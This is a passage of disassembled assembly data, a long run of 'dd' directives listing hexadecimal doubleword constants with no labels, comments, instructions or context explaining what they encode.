		dd 9A74E0E4h, 332B01F0h, 5DFA19A5h, 4D3C34DDh, 36041CB1h
		dd 4C9059D3h, 1474AC13h, 38D11999h, 18CC4ACh, 7E9BFC1Bh
		dd 2F926584h, 0DF00806Fh, 39876C94h, 0F0B41C66h, 88F42D12h
		dd 22508837h, 18A44E4Dh, 7E89BA56h, 0C95525E9h,	2AD258E9h
		dd 0B500D46Bh, 10986C1Eh, 7D0950E8h, 58065BC9h,	7F8004ECh
		dd 0BDDC463Bh, 283ECCCh, 6D7159D0h, 7601D60h, 1918FAEDh
		dd 15599C57h, 0B07403C5h, 8BBD9178h, 86050EFh, 257166D9h
		dd 8E635009h, 60947A36h, 910C39DDh, 952C1BACh, 7763AC5Dh
		dd 684082F9h, 7374EBA8h, 4E160012h, 11C155BDh, 0DA27F2A8h
		dd 61C4E089h, 2DFCB283h, 448459Ch, 64B87548h, 59F19143h
		dd 2C00CC8h, 0D09E86FCh, 345408C7h, 990200DCh, 1A437EA1h
		dd 0CD2752DBh, 0B704C855h, 97D334BAh, 1C60B8F9h, 60675276h
		dd 0B5B58668h, 38DD30A0h, 6BEF507Dh, 0EB23FC2Eh, 0B1032926h
		dd 773BF7h, 39EDC819h, 2A2722Bh, 32E3E009h, 8530AFEBh
		dd 0A8E0DDEEh, 9496B54Dh, 0B996F2h, 5018C1F9h, 0FDFEC01Fh
		dd 0B97C71C3h, 4B91E639h, 3A78D93Eh, 0A923902Bh, 20959903h
		dd 2855B8EFh, 9BE20BFEh, 7C39DB2Ah, 6B3FD4h, 8C8BDC38h
		dd 0FC028104h, 3A004D34h, 9F674C66h, 0EFB0DC39h, 327D6100h
		dd 6FF373BFh, 0F40C017Bh, 0DF2BDD29h, 0D11FE004h, 0E49771Ch
		dd 0C264CAA5h, 0C3FC0209h, 67D8A055h, 916C15Bh,	0D0A98FADh
		dd 2611E09Dh, 128BA680h, 1E4C2469h, 88AC2A5Ch, 8F0C2805h
		dd 0E86ED0F0h, 0EFB0AA00h, 68BAED70h, 78B2F102h, 7A2E0A4Fh
		dd 0D63CB424h, 0CDB2071Eh, 0A4A490AFh, 92D6EC76h, 0F2920A10h
		dd 8994D189h, 0CCC56204h, 18C859E2h, 63D9758h, 0F61C03FFh
		dd 29DED8FAh, 0E0AF60h,	0E413B32Fh, 0B100FF0Eh,	0C605524Ah
		dd 5147B6h, 4E173BE8h, 7179756Ch, 0F8EABF3Ch, 0A82C5CB1h
		dd 0EDDD208h, 0F074781Eh, 0A32A7F13h, 30C2B28Ch, 4A132B50h
		dd 0F8E26B3Dh, 9AE28000h, 0E766C7DDh, 3A8E3900h, 9C889287h
		dd 0E57B10C4h, 3763B53h
		dd 0C7CC3CA3h, 0BC95E1E7h, 0C8E118A7h, 786600CAh, 297ADh
		dd 0B452AFEEh, 0DA021A00h, 50388253h, 7B47176Eh, 0A3CCC579h
		dd 102F4EA4h, 0BD035223h, 0EA9A17E9h, 354CF873h, 84F9F1BEh
		dd 1D300088h, 0F89B6369h, 4A4BBD0Dh, 686680C4h,	9D6FB8F0h
		dd 8358EF00h, 665BCA06h, 0F69883B7h, 0EC009592h, 0C5716E8Eh
		dd 139894E9h, 8BCCFDF7h, 0C6D6C8E8h, 97B7389Ah,	9DB5919Ch
		dd 8492F00Ah, 0B62F5E11h, 8346F820h, 0C4133245h, 0B8A250CDh
		dd 5E9C8850h, 15403011h, 2583B71Ch, 1CE7F11Ch, 5F60BB44h
		dd 0C10BF427h, 0D880B402h, 0CD9115B8h, 473A504Ah, 0AB003840h
		dd 0EF34EE85h, 260A74FBh, 9008DECh, 18D133C4h, 5218C079h
		dd 7163605h, 10C05F11h,	5E4DA76Dh, 88D8CED2h, 164EC0AAh
		dd 240919A3h, 0E5B8923h, 93FF2988h, 0B62AC160h,	5C38118Bh
		dd 70516889h, 191826D9h, 72874700h, 0CDD4FE18h,	90AD268Dh
		dd 0C5467608h, 0AC290074h, 0CCD64A26h, 8409EE82h, 8BD36544h
		dd 0A7B0D148h, 0D691B417h, 0BF546182h, 6F6058D8h, 0C20367C9h
		dd 47E31F53h, 90C4252Ah, 92ECA778h, 0F0529C00h,	0E126CF11h
		dd 80CD24E7h, 0F2B90BFBh, 0B3082C9Eh, 0ADA7CEFFh, 0DE91F815h
		dd 0FCB5B180h, 8C09C0A4h, 4BCE3CDh, 0AF465E88h,	0E7015148h
		dd 2270E2ADh, 0A970E086h, 8AA402E3h, 58B243C4h,	39015C5Eh
		dd 0A808501Ah, 0B6269068h, 10AF4758h, 60861D8Bh, 7C01E300h
		dd 6B21D846h, 78A0006Ch, 0A19AF4Eh, 8297C0FEh, 0E160F144h
		dd 0C80F249Ch, 4997C1D8h, 0AC234Ah, 0A9960C09h,	2F2E04h
		dd 955C41A8h, 37BFC60Fh, 424FF8A0h, 20EEA2Dh, 0FE4448C0h
		dd 0FBEB6E88h, 9B461303h, 4A056914h, 68506C18h,	0A7F8038Dh
		dd 0C231D381h, 6346D015h, 5B58DA18h, 0FBDAD0BCh, 9EE3C716h
		dd 1B85423h, 6691C321h,	0F8D6A543h, 0B20E280Bh,	0F733E173h
		dd 0CA2AB444h, 20791E07h, 7F9E4F9Bh, 5E393548h,	15C7CC8Ch
		dd 0F08E9D7Bh, 0D117FA09h, 46BBB817h, 1C318900h, 0DB7D1663h
		dd 4B1A6D17h, 43ECC0B4h, 301FE2A7h, 0F2097B6Dh,	106FF8F5h
		dd 21955Ch, 0CBDEAAB5h,	1406C52Dh, 18612800h, 0E48C88D8h
		dd 0EC352DC7h, 41775098h, 5A3AA225h, 0B153E618h, 3F6381A0h
		dd 0FDD1B478h, 85482C4Fh, 0B8F035DAh, 30816B55h, 6AE0B8EDh
		dd 1D63C55h, 0D262141Bh, 240CFAF1h, 411537F8h, 949B50h
		dd 622460A5h, 0EA735B9Eh, 702800D6h, 8E5450F0h,	6B756D4Fh
		dd 64F6A100h, 0F9977ACh, 0B900B44Eh, 0E97FFD82h, 0ECA44173h
		dd 0ED54D409h, 0C7BCBCh, 6A1B6CA3h, 50266BF3h, 208E635Eh
		dd 62CE23C8h, 0DE36D49Ch, 0A6D54254h, 242C987Bh, 0C7465Ch
		dd 4A7F133Bh, 58CE836Dh, 0BC018074h, 0C4264161h, 997420B1h
		dd 4A30C340h, 6818E086h, 6B745C04h, 60A927F2h, 7200D5ACh
		dd 14DA43DBh, 25BE4178h, 0AC94C554h, 0EE43597h,	8940E4B5h
		dd 0FC65461Ch, 5012A87Ah, 38A0DA0Ah, 4750B638h,	7813F317h
		dd 0A4AC65D8h, 0A8CB415Fh, 0DFC0AAC8h, 187DD206h, 70B42417h
		dd 1140B222h, 1CC42421h, 0CE0F438Ch, 2DE02663h,	493BD0CBh
		dd 0B4909AB1h, 2EF5DC90h, 0B420CC29h, 0D4991FA6h, 0BC12AFADh
		dd 465E0CD6h, 559501AAh, 521CAEFh, 0E08834EDh, 6602F61Eh
		dd 4D8BCEE0h, 60B5E498h, 987832C2h, 8FC54430h, 0A745DA3Ch
		dd 0EE6CA1C6h, 0A0402C39h, 96926F0Dh, 54465E10h, 7506BC00h
		dd 778CC24Fh, 0AAF10209h, 0FD78A053h, 0BC6CF39Ah, 86454FC4h
		dd 0E2ECA20Ah, 839E3059h, 968B7E02h, 57DF3AC4h,	0C0913817h
		dd 514ACD80h, 9148B087h, 68040028h, 0AFED74F2h,	3A71CE49h
		dd 0AC4FA060h, 9C01D2CEh, 8D5F114Eh, 8475B9C9h,	402B7820h
		dd 3449204Ch, 7CCB4EC8h, 6CC04DC8h, 8F1565h, 0A5AA6910h
		dd 0C17B483Bh, 9CC9885Eh, 45D7820h, 459C0777h, 0F8C4AC6Dh
		dd 3E008C54h, 6642CD1Dh, 7FEDBD7Dh, 980748E4h, 1F8C29E8h
		dd 12239D1h, 4689F631h,	9B2034DFh, 61DDB1Eh, 4D00FBACh
		dd 36CE348Bh, 510316B2h, 143CC8B7h, 319CA840h, 46A93B11h
		dd 0D64980F6h, 7039BBB5h, 44C200FDh, 9E734E09h,	0E52F93D7h
		dd 81C8642Bh, 41973D8Ch, 73E46F94h, 0FA30B05h, 1CE13DEEh
		dd 0C4286B21h, 0B8CB6BCh, 0C4FF9104h, 981ADCDBh, 0DCE8D671h
		dd 8157D812h, 24F8FCF8h, 1768048Ch, 0F9560150h,	19C60370h
		dd 0C028D231h, 9A9BE9F2h, 5FA22C10h, 7D5005B0h,	3F9420A9h
		dd 6004592h, 0CD8F366Eh, 3B776DAFh, 6F000F0Ah, 5BA5C058h
		dd 2E5B49F3h, 0DC1088C7h, 14EF5B6h, 77701784h, 2C08C49Dh
		dd 8C1FBCD0h, 0CA169A00h, 0B8450352h, 309925E9h, 0BBE4ECF1h
		dd 75EE3941h, 4DD89DCAh, 0E9DE0140h, 60B55EE4h,	452839DBh
		dd 3D4ACDF6h, 6025FCA2h, 1CB9C046h, 0EE182679h,	0C6E84673h
		dd 4497BD79h, 31717258h, 0D768E0FAh, 0F2BC320Ah, 0D8C33043h
		dd 0C16AA918h, 1DFEC2E9h, 805AE1E6h, 0F793E0E8h, 0B70106DCh
		dd 17A89E07h, 0E0605E8Bh, 98C1408Ah, 7C4E2605h,	0DCFD6FF2h
		dd 0A996E382h, 0B6125601h, 0EAEB3181h, 7375253Ah, 31C4A290h
		dd 59DFFCC1h, 0E747C0Fh, 921D07E6h, 607D1320h, 786639A1h
		dd 8C6082FBh, 46815A62h, 6E003869h, 0A34720C0h,	8509FE80h
		dd 17DA1699h, 81AA91D0h, 474F29DEh, 9ADAA02Bh, 8A1870D2h
		dd 527D4870h, 0BFE22C08h, 0FDCE430h, 1D3D7298h,	0DAE4788Eh
		dd 828CC8A9h, 1388CF01h, 0C5894699h, 0D55630h, 0BBCBBFF6h
		dd 0F0F970A8h, 0B0848197h, 5EF4A052h, 0E5B12C9h, 1D90C09Ah
		dd 50026C6Fh, 0CEE3C76Eh, 6BF4D18Ch, 5764EC45h,	0F126FE60h
		dd 65C6D30Ah, 7A08880Fh, 0CD9003FAh, 617E8CE8h,	2E1FB612h
		dd 90939C0Ch, 0DEE92EEEh, 40F51B28h, 1C521824h,	0BE03C510h
		dd 6E0B2605h, 3BAEB7D0h, 200D88h, 42EAB684h, 77E7D71h
		dd 30F0031Eh, 8CFC28C4h, 791820ABh, 0CF01DD4Ch,	0A95DE322h
		dd 5822B65Fh, 0F6839200h, 0A5E036BBh, 0A7C7E502h, 54CCFD28h
		dd 0C4465EE0h, 2A26F700h, 0CB3FF9C6h, 9C661009h, 20845281h
		dd 0C98DB0Ch, 2078E493h, 0E4F93878h, 186C24D1h,	0BA88CE80h
		dd 0F172EFBh, 0E1FD883h, 0C9BDBC0h, 954D7BE8h, 12B02488h
		dd 4BA1771h, 1391D21Ch,	0C1E294E3h, 61030h, 0E8AB1611h
		dd 151E5C25h, 0C7E4F702h, 5EB95638h, 1701DE78h,	0B3041A4Bh
		dd 0F0ADD771h, 32C7006Dh, 64E33985h, 543245A2h,	208E1EC4h
		dd 23CCC09h, 285008DBh,	9F167CD6h, 0D4816092h, 2D76950Fh
		dd 3D8D0050h, 8C35AD25h, 0DCF92571h, 0FCE68409h, 38FA1712h
		dd 88B02481h, 5A2C383Fh, 7E8FF4A8h, 0B5B06305h,	7C8F2569h
		dd 0F10F4D12h, 882F7AB4h, 0F900A923h, 6E4D9101h, 0C3FB1274h
		dd 0DA90E84Eh, 0E110C99Ah, 0B99545F9h, 0A0008C51h, 39344304h
		dd 0B403A8AAh, 6C417C8Eh, 1521E0B5h, 69DCB42Bh,	0C3E4A045h
		dd 2F49D860h, 0F55B3B00h, 1ED2EFDBh, 4B94F8AEh,	0FFC4F48Eh
		dd 787ACE5Fh, 77FBCB01h, 0E10E41h, 259DEE12h, 405AB86Fh
		dd 1DC88F25h, 824591F8h, 76BD46C0h, 6200F6D4h, 0A423BD4h
		dd 2D25943Dh, 0F429493Ch, 654010D8h, 13A17BC4h,	0F150920Ch
		dd 0BC3E2B28h, 0C4A64523h, 0D2035160h, 0A4860025h, 11388809h
		dd 31D34FB1h, 0AAB5E404h, 80D1405h, 0E0A74140h,	20CDD590h
		dd 280023C3h, 69C16650h, 4F2B5DCCh, 23EC2F3Eh, 3F790062h
		dd 0E4873996h, 271C47FCh, 54CF2A8h, 1E1B6965h, 187BC768h
		dd 52BDA05Ah, 5310CDE8h
		dd 0B6183CDFh, 93E8A944h, 61D191Fh, 3B5AD2C2h, 62D45C72h
		dd 24609E30h, 9784D992h, 5991FC95h, 1CBAFE80h, 0CC02FB18h
		dd 0E7A7EF7Dh, 0EBBC60CAh, 36A914C0h, 57AC2C0Bh, 1A9F008Ch
		dd 0CAE50FD1h, 0DCB67573h, 94783B9h, 969A12BCh,	569C0AE6h
		dd 6C92D7h, 1C627D2Bh, 0B3025811h, 9CBF96E1h, 13CD246h
		dd 3D32CEEBh, 3C41A4E8h, 8CC4BC50h, 78E67B00h, 3D9CFD11h
		dd 0A31D27EBh, 3884AC89h, 4F80F63Ah, 0B523242Bh, 59E9E700h
		dd 0EB10FA11h, 0C2D0812Ah, 440FA7Fh, 7B004E9Ah,	0F585C8C1h
		dd 0B7A7718Bh, 0A500F8B7h, 4E26450Fh, 9D6CFE84h, 0C111B89Fh
		dd 0A06B180h, 9905D70Ch, 2A3EBD53h, 0F702C4C1h,	76B0603Bh
		dd 486E6642h, 9A8DA7D8h, 995796h, 8EDE9343h, 81EDDA17h
		dd 32F3A400h, 1264BB98h, 5C18989Eh, 1F0EDCFFh, 8CCBE96Fh
		dd 92005459h, 0E6A2673Bh, 8DF8E7ADh, 2B990025h,	0B37A4C8Eh
		dd 0AF04C5F1h, 3D30B869h, 57A850ADh, 1EC1E400h,	7C2B8312h
		dd 9C49219h, 3CA4169Ch,	1004D479h, 0E0BC97B6h, 1627A00h
		dd 0B88EE342h, 182530C9h, 91BF3D4h, 0C0A7BB97h,	0A68BC281h
		dd 0B8347952h, 79FB003Dh, 0E398569h, 572704C4h,	4548A0A9h
		dd 39FD2A81h, 5F8590E6h, 87F773E3h, 44A2E2F0h, 5F78FE02h
		dd 8FD69C8Fh, 0C057880Ch, 42793C8Fh, 6F2CA12h, 0E126B8FCh
		dd 946F2DF4h, 0B3BD740h, 208C001Ah, 0EDD82485h,	7A1CF427h
		dd 780239F1h, 0D44240F9h, 10DD40D0h, 849D2C66h,	13EAA03Ch
		dd 443B14DCh, 2D43182Ch, 68FF8CC1h, 8C54BCECh, 91BC5517h
		dd 0BE0041ACh, 0C4199AC5h, 64BA244Fh, 91449795h, 0C09D80C3h
		dd 11DDC5Bh, 2C474327h,	6C83C60Fh, 9A50C80h, 18A731C7h
		dd 18D5A3C2h, 0A8040E4Fh, 8B997386h, 87C8D8F8h,	5940D96Bh
		dd 79D11823h, 92D5EA98h, 664326E4h, 0C046746Ch,	45C27800h
		dd 0C4F30DE5h, 68597990h, 95862260h, 0B591B497h, 0A7658781h
		dd 44422B56h, 60DC8FEDh, 12FF993h, 0E4B2730h, 2F979A34h
		dd 7DD99882h, 5280C0B5h, 0FA9D35A1h, 83030B3Eh,	4C90AF58h
		dd 0DC00CDD6h, 5CDBE8BAh, 13CC3A11h, 137D2096h,	0C8C4CB2Ch
		dd 6D20C1BCh, 6350D0E8h, 0CF4AF4EAh, 3CEE9444h,	0BB88308Fh
		dd 0E4AFFEC2h, 0C1010078h, 8E65732Fh, 9700E5F4h, 0BB184446h
		dd 7AF0E9Bh, 0B2E757F1h, 0FBCB448Bh, 0DAB62020h, 2DC000A5h
		dd 85BF7F1Ch, 80F1AC42h, 0F905C518h, 0CFC1A90h,	0D422D659h
		dd 0BF616E08h, 0F8EC6C20h, 6057C3F0h, 339D499Bh, 0E800BCFEh
		dd 3F23245Eh, 3CC2A8B4h, 0AA8FB32Dh, 7D80D0B9h,	59221430h
		dd 74437F00h, 0F65AF9AEh, 0CE20C1B6h, 0B986B4C3h, 0E802C690h
		dd 0D41A93F8h, 65106F31h, 4500F8EFh, 0B40BFBF5h, 182ECB12h
		dd 79989E5Bh, 0DF001580h, 0D7683B56h, 0CFC957A3h, 31A139B9h
		dd 0C0A4FF1Ch, 0F758FDF2h, 999F0091h, 0E384DC62h, 172203A1h
		dd 52C3465Fh, 9C704010h, 2837B90Ch, 3B0CB648h, 20570C0Eh
		dd 0CB1A3F49h, 0CC9CC181h, 808DEEA5h, 2F3AB671h, 6A17F7Ch
		dd 599AF331h, 0C6600861h, 7C378421h, 1EDE15A2h,	1500D4BAh
		dd 0C097EECBh, 0EB06F9Ch, 0B63689C0h, 0C0BDFD80h, 1B84A029h
		dd 0A033E6Bh, 5A3FA138h, 0BCA336h, 1B6C0221h, 3C3379D9h
		dd 0D4664900h, 0B05C39A8h, 0F70A2895h, 2843E298h, 0E0C1CBh
		dd 0E0F57D7Bh, 0C702AB2Eh, 3047A8A8h, 0AC607AF0h, 9F148210h
		dd 3A515C3h, 661F748Eh,	79A1887Ch, 8540B5C4h, 3DEC7C2Eh
		dd 0B915A019h, 0CDDCFC39h, 12E71495h, 0F088A0BDh, 7D7C2DC0h
		dd 226146A1h, 35F2DDh, 9563C7Ch, 0B511F7F8h, 3874801h
		dd 289F225Ch, 0C9ABD88Ch, 0BA003131h, 2D097B4Fh, 7265FDC3h
		dd 0EF110001h, 0AF9607A2h, 78241DDFh, 83114C36h, 96F8E782h
		dd 233A6AC1h, 73224Ch, 91F8F662h, 5EFB783Eh, 0B124B871h
		dd 690B8080h, 8436001Ah, 18A14BF0h, 599946E6h, 0F505987Ah
		dd 7B305CC1h, 3BC71D80h, 8980C87Eh, 8CF8E9C0h, 59DC211Ah
		dd 68007891h, 0B21F8F0h, 0A95CCE53h, 0A032011Dh, 0CB131B24h
		dd 0F2168440h, 54B11210h, 0B4D000F0h, 0FDFE7A7h, 5735DC0Ah
		dd 5680BCB8h, 2EE8EC92h, 94C11998h, 80BE0933h, 0EC8A7621h
		dd 2E46873h, 0B32ED0E3h, 1040BBF2h, 8C3D6FFAh, 2358C86Eh
		dd 1B7E018Ah, 0FA5A3E2Dh, 217C319h, 0C0E01B86h,	0B8C41F31h
		dd 8D05DE2Bh, 0DAE040C5h, 0D8373B1Ah, 0DC1018C2h, 915C9032h
		dd 2EE711ECh, 629FA0h, 0BEEC8973h, 47B2C9D8h, 5605CE03h
		dd 42D51B13h, 0ACF28451h, 6F1DD30h, 36B8351Fh, 412AA9CBh
		dd 953BCC75h, 9691891Eh, 25100368h, 0FDA6E805h,	105C009Fh
		dd 0A33A941Ah, 0B648370Bh, 1F12380h, 0A1847C30h, 88DC1889h
		dd 7C003897h, 3386AC75h, 710E41F5h, 79C60EE3h, 0BC49E7BEh
		dd 0C81DAC12h, 688EB211h, 22F78E60h, 453D1472h,	0C0472A1Ah
		dd 0E65B2F02h, 47D0AF64h, 606A4458h, 0EB5386h, 0E2B9C6A0h
		dd 9BC81D36h, 9E1C3519h, 811887B0h, 3E301B04h, 12C3822h
		dd 281B6D00h, 0EA0BBB0h, 9CB74CDCh, 0E7E53000h,	8C0AFD19h
		dd 9E14830Ch, 8C87B049h, 92F8FB04h, 7462EC1Ah, 0EA5E23h
		dd 7A65A20h, 0FE171611h, 1F2626ECh, 0B448D0C9h,	80E0ED15h
		dd 0A1807C34h, 0CE448C69h, 5CC4FF9Bh, 4153002Bh, 2D4C903Ah
		dd 1E14A1AAh, 882CB783h, 7C2AC0EFh, 594CA17Eh, 3299E08Ch
		dd 7843007Ch, 0AC5AC181h, 2DF8DB3Ah, 9B77D8B0h,	1A9FC80h
		dd 34A1BDF3h, 52B994E2h, 63088E4h, 1A9D08F9h, 0A6665A04h
		dd 0ED670721h, 0F0B125F8h, 0A78B0A37h, 7A308D00h, 439F42D2h
		dd 8C9C53BEh, 7631B5A2h, 4683C0h, 49E9DCDDh, 0B56A708h
		dd 6F84BCB1h, 0F248C097h, 837C6BC0h, 225146A1h,	339000D3h
		dd 19B02F7Ch, 590ABD0Ch, 408DCB5Dh, 0CA7BFF00h,	1EC38AC2h
		dd 82313CE4h, 16EF355Ch, 6F107340h, 8FC10913h, 295F5404h
		dd 201DAB0Eh, 0DA494260h, 934666h, 9C96D176h, 32A910F0h
		dd 1CE130B9h, 2E04A2DBh, 0B52368h, 9A083F7h, 263EA2A8h
		dd 0B960E1C7h, 2983DBCBh, 0B3C10C59h, 0B0635807h, 4325A013h
		dd 1437C898h, 0AC955B33h, 15460774h, 81A323A8h,	255C56B1h
		dd 84144E88h, 0D730BF6Fh, 1D039EF4h, 8E6552A5h,	39906E7h
		dd 0B051680Eh, 70AF80C4h, 261E1704h, 84A55C49h,	748CC3E8h
		dd 0C7E50110h, 41AFFC99h, 88C9AE8Ah, 0D1515CDCh, 0A7093F05h
		dd 0C05432C1h, 81478F20h, 3C8C192h, 82B9AB46h, 0F142CBE0h
		dd 0C4DB0774h, 3FF4901Fh, 0B0E6F59h, 0A0AEA44Ah, 833ED00Fh
		dd 35A1E0CBh, 81295746h, 9B2E98h, 0A194EC60h, 798627CCh
		dd 8CD71BACh, 3563C205h, 0F4C890AEh, 30CB4187h,	48C3774h
		dd 2F06EC9Ch, 20C26288h, 0D0EC7478h, 0F3043200h, 0D86FAFB8h
		dd 0C4AB2AF6h, 8BE13CE0h, 4735412h, 3DA8788h, 16A04286h
		dd 0D02399h, 47D92CDEh,	4401573Fh, 0EC05812Eh, 84658871h
		dd 0B5F2A072h, 13EB5630h, 455723BAh, 42E7AB6Ch,	13EED9E8h
		dd 60101869h, 91C0D6CCh, 0DE2C5D31h, 0BA6004Eh,	0F9E6DC73h
		dd 6214D633h, 0AC44CE25h, 4008CD3h, 735CBC3Fh, 61B2AB2h
		dd 38A0E87Ah, 3336499Ch, 0F9E89E12h, 0B1CDFED8h, 18DD79F8h
		dd 4FB4003Eh, 1A7B2B52h, 0C850FAD6h, 21500FAEh,	0A3488980h
		dd 19562018h, 41D1DFEAh, 0B8DC28CCh, 7B038CD1h,	0DAE2AF91h
		dd 0CF6816F7h, 0A220200Dh, 19003130h, 0BB8A0883h, 9BB958E2h
		dd 2A687860h, 3CF7A180h
		dd 95095ED8h, 6007BA9Eh, 0DC0FF1C4h, 25C2633h, 2EEAEC88h
		dd 10BD31E8h, 1EEC805Ch, 80CEEDE0h, 0C30D30F6h,	9A24CB15h
		dd 3B02A0BEh, 80AAEB46h, 42485C94h, 0ECDA819Eh,	0BC0B126Ch
		dd 8485E858h, 9C822ED0h, 0EC8F3038h, 0F046E97Dh, 790EBF22h
		dd 0E0EBEC87h, 952DC36h, 24E01676h, 0B7F0044Ch,	0CA4907B4h
		dd 1D20C219h, 80CE11D0h, 0BCEB298Fh, 26C4123Fh,	0EED00268h
		dd 0A868AC23h, 61C0D143h, 0E54818DFh, 96037ADBh, 0C06C1E54h
		dd 614A5277h, 3D18A0F9h, 2D60DEEDh, 0CEAE5CB3h,	8058D024h
		dd 986A22F1h, 0B0990F56h, 0A2A61502h, 89CC61ECh, 1B0F5B18h
		dd 0D0723E2Ah, 0FF80C4C8h, 7F3D1B86h, 0CCC55D8Dh, 940FFC44h
		dd 0BE465CECh, 5C258500h, 0BDB0CE7Eh, 1C9A1624h, 0A0DF8E42h
		dd 0A3BB2798h, 850E008Ah, 9FEB49F9h, 0E40CC2C9h, 51AF5E98h
		dd 0AA380011h, 0E203348Eh, 0BE05D8B1h, 74B6352Dh, 1B807020h
		dd 6A3E232Fh, 0FE00C511h, 4DC01B87h, 4803F59Ah,	0FDF651DFh
		dd 0B2210EB9h, 8E6021AAh, 0CAF5B48Ch, 6228C8F1h, 9AC5EA02h
		dd 40162313h, 1C0384B4h, 6E2EB9ADh, 1E018210h, 0F0833BE3h
		dd 0B9249D07h, 2708FC86h, 0A1E90350h, 0CBE0E25Ah, 0A0506E52h
		dd 0B4EA9488h, 99FE5020h, 1874D9E4h, 0AFB00D3h,	0E835201Dh
		dd 197DF0C3h, 0A1188B00h, 44541AB9h, 0B7E63AAEh, 0ADCF730Ch
		dd 83004D11h, 0B0D2BAE9h, 662AE282h, 21B90888h,	0E9BBEE00h
		dd 0A6CD36C7h, 7519006Ch, 0E3D47A9Dh, 0A0008146h, 0FA72D54Ah
		dd 0C8E0AD71h, 0BDC07D60h, 46D2B8E9h, 0A622A0h,	45E9B5E0h
		dd 0C5EB93B0h, 1482058h, 0B49834Bh, 0ACF84FE6h,	763230BFh
		dd 24DEAD30h, 0E272C200h, 0DA3B8436h, 0EC540051h, 7920150Bh
		dd 8C0302B2h, 465ACF6Ch, 9D40085Dh, 0A8064C51h,	7548BFCAh
		dd 74CE3744h, 0A3C6C389h, 382F1900h, 0E9D13FB2h, 400403D4h
		dd 0A92CFEE7h, 0BD8E2100h, 4B27836Ch, 2F481941h, 9DB208A3h
		dd 6C406321h, 0D42420E9h, 62ED0A3Ch, 29078A6h, 595C7D84h
		dd 607C9484h, 23B9E982h, 0A511D8D2h, 0E9BAE304h, 0F0680C9h
		dd 5054351Ah, 8F0FEC88h, 0E04E380Dh, 8F624EBh, 66D748D8h
		dd 0C0F9DC1Eh, 0B7C66CEDh, 0A363E3A9h, 0B12BDF18h, 0E0418AB2h
		dd 8886E0FEh, 717765A5h, 0DBE28302h, 88CB183Bh,	0FD118414h
		dd 0BC6CBE80h, 448CA327h, 0B7046EB3h, 0EBAF8B6Ch, 12D523C0h
		dd 847051BEh, 0CF2F609Fh, 0F168FB18h, 0BC60FF44h, 2721BE6Ch
		dd 0B568C0B3h, 21068F6Ch, 0A7B72E8Eh, 47F40AE0h, 4124FCE7h
		dd 31B96CBFh, 240A36h, 0F6CB469h, 3DB47FAh, 9034C09Bh
		dd 210EB92Fh, 0A1C7F852h, 5A01F289h, 805EC080h,	0CF9D3D60h
		dd 443CBC01h, 0A96CA5A7h, 352AA050h, 655F0133h,	961D9973h
		dd 52388376h, 12FA32CBh, 4EEBC6F0h, 8DA0D200h, 0FEB32F55h
		dd 48BEEA04h, 8807491h,	0C0F24EE3h, 0D6967F30h,	0E8C99ECBh
		dd 114C1DBDh, 1F9C8EB3h, 243D2AC0h, 70D829h, 0BAFD5156h
		dd 0AA101BA5h, 0FC018090h, 26966BC3h, 7082A6BBh, 0BC3A22CFh
		dd 80D5A840h, 8CDCC903h, 38B3F3C6h, 0B089AE20h,	4C204135h
		dd 0FB247464h, 3451CF2Eh, 861C70Ch, 8A21C043h, 0B3BA247Ch
		dd 73CD1900h, 0F2879810h, 41D70008h, 6EFD30DBh,	0BA53533Eh
		dd 307AA230h, 0F3003818h, 0D55C06CEh, 0C05332D8h, 0A466ED21h
		dd 0D77EA164h, 76CDD900h, 2F9889EEh, 13220029h,	0D372B085h
		dd 0C0A099AAh, 0C6108475h, 0C903DB97h, 0B6AD4DEEh, 0AE00E4D2h
		dd 101E786h, 68F16E70h,	0B9E169A2h, 0A421E008h,	1B501FFh
		dd 51AFE85h, 944834E0h,	23E84491h, 6CA101FAh, 33AB27BFh
		dd 0B66F8034h, 71279B6Ch, 0AC464972h, 1BE3C70Eh, 1085C92Bh
		dd 87D80356h, 0B8A607C6h, 6222D30Ch, 294C18A0h,	3A60B1ADh
		dd 6E710184h, 20F362F9h, 2A01FCA7h, 73810C06h, 19EDC7h
		dd 97D00F17h, 3A597C46h, 0F4EA5600h, 2C8DB57Dh,	0E9B1C0B8h
		dd 39E7492Bh, 747BD000h, 0D9598F29h, 0EB6C073Fh, 0F9F81513h
		dd 0D499A400h, 0BF04705Ch, 77D7C9FDh, 108E98C4h, 0E3C0B088h
		dd 514222Ch, 32838139h,	6FB84F74h, 0DBC15D21h, 0FFC4D0A1h
		dd 1D43A300h, 0F1EC8C32h, 160A14CFh, 409494BFh,	68C78E8h
		dd 0DA2ACF55h, 6D024857h, 0EDCBE22Eh, 8328B5A3h, 8E12CF07h
		dd 0C66F01C4h, 0EC40A153h, 37E2EDC1h, 0F0314F32h, 5DB1EB64h
		dd 127ED200h, 2A193EBAh, 0B0430044h, 0AE171DFDh, 23F9BFFBh
		dd 31F2A264h, 5243022h,	0A8116D06h, 2A48DE1Dh, 1FC0A62Ch
		dd 4028F997h, 69EDA0FFh, 0F2F1E84Eh, 0C4882C25h, 0BDE9009Ch
		dd 0C93770B1h, 820043D8h, 0B6530E4Ch, 10100BF1h, 58BD8ABCh
		dd 8CBEE860h, 5DCC2C02h, 0A8A12633h, 465678E8h,	984303FAh
		dd 0C80C5732h, 18958761h, 0D1472EEBh, 1212275Bh, 0C400724Eh
		dd 164C3D6h, 0D99CB157h, 0BF18B1h, 13245D81h, 2F34D8E0h
		dd 0C621BE60h, 7CEED009h, 4678039Bh, 880FD50Eh,	0BE3D6ED8h
		dd 94A734EEh, 0CC60A744h, 0CD032253h, 0C69E3D0Eh, 0D94100F5h
		dd 0DD6FC18Ch, 0C90096D6h, 681BEF53h, 0FE28D88Bh, 0C7BB010Fh
		dd 0D4616DECh, 0B466DE9Ch, 0CE317F00h, 19DA27CFh, 0A91800D7h
		dd 0D5895E1Bh, 96501A62h, 0E3135C98h, 0B40FFD42h, 19BA6C27h
		dd 28984932h, 44512C30h, 3612666Bh, 0A414D40Ch,	49407CD4h
		dd 7BC62C69h, 0AD348C18h, 2C304D30h, 266FC92Bh,	20846063h
		dd 0A1A21B1h, 0FB0648BAh, 0AAE7C8C7h, 0C68F0828h, 4901BD4Fh
		dd 0A12EE8F1h, 5A4D818Bh, 0D7A1DC13h, 0CF19834Ah, 6548232h
		dd 94C66788h, 0ACB0A0CAh, 37406222h, 7F319232h,	0B0B409h
		dd 0E7102470h, 86E371CFh, 302B24A9h, 5A406A28h,	342E5123h
		dd 0D9D34449h, 208C4E5Eh, 0D879B1F1h, 0AC88600h, 0DF1D4D82h
		dd 9DCB0A61h, 6054DAh, 63664C44h, 6A530D60h, 0B6A86494h
